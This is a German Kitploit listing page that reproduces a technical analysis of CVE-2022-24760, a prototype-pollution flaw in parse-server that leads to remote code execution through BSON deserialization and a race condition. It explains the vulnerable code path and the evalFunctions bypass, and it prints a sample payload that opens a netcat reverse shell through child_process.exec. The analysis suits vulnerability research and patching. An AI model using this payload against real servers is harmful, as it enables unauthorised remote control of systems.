Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-24760 — Detaillierte technische Analyse von CVE-2022-24760, einer Prototype-Pollution-Schwachstelle in parse-server, die zu Remote-Code-Ausführung durch BSON-Serialisierung und Ausnutzung von Race Conditions führt. | Kitploit
Tools/GitHubGitHub/tuo4n8/cve-2022-24760
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-Exploitation
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

Detaillierte technische Analyse von CVE-2022-24760, einer Prototype-Pollution-Schwachstelle in parse-server, die zu Remote-Code-Ausführung durch BSON-Serialisierung und Ausnutzung von Race Conditions führt.

Repository anzeigen
145vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-24760


Ablauf

image-20220331114046018

image-20220331114258164

  • Standardmäßig ist kein Schlüssel erforderlich, um Klassen zur Datenbank hinzuzufügen, zu löschen oder zu ändern.

image-20220331115258271


Diff Commit

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • Prototype Pollution tritt in der Funktion expandResultOnKeyPath auf.
root@kitploit:~
DatabaseController.js
	sanitizeDatabaseResult
		-> expandResultOnKeyPath
  • sanitizeDatabaseResult wird beim Hinzufügen und Aktualisieren neuer Klassen verwendet. Allerdings muss die Bedingung erfüllt sein, dass der keyUpdate __op in ['Add', 'AddUnique', 'Remove', 'Increment'] enthalten ist, damit das Prototype gelingt.

  • Daher können die Prototype-Werte nur array oder number sein.

    • image-20220331132813075
    • image-20220331132823843
  • Beispielanfrage wie:

image-20220331133133587

Sink-Exploit für RCE

  • Bevor die Daten in der DB gespeichert werden, wird der Datenfluss über die BSON-Bibliothek serializet. Wenn _bsontype Code ist, wird serializeCode durchgeführt.

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • Danach werden die Daten deserialisiert, um zum Sink zu gelangen:

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • Prototype Pollution wird verwendet, um options['evalFunctions'] zu verschmutzen -> Bypass zur Funktion isolateEval.
  • Beispiel-Payload
root@kitploit:~
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • Da der Ausführungsfluss der Funktion expandResultOnKeyPath nach der Deserialisierung erfolgt, muss kontinuierlich eine Race Condition durchgeführt werden, damit beim Erreichen von isolateEval ausgelöst werden kann.

image-20220331145825647

Tool herunterladen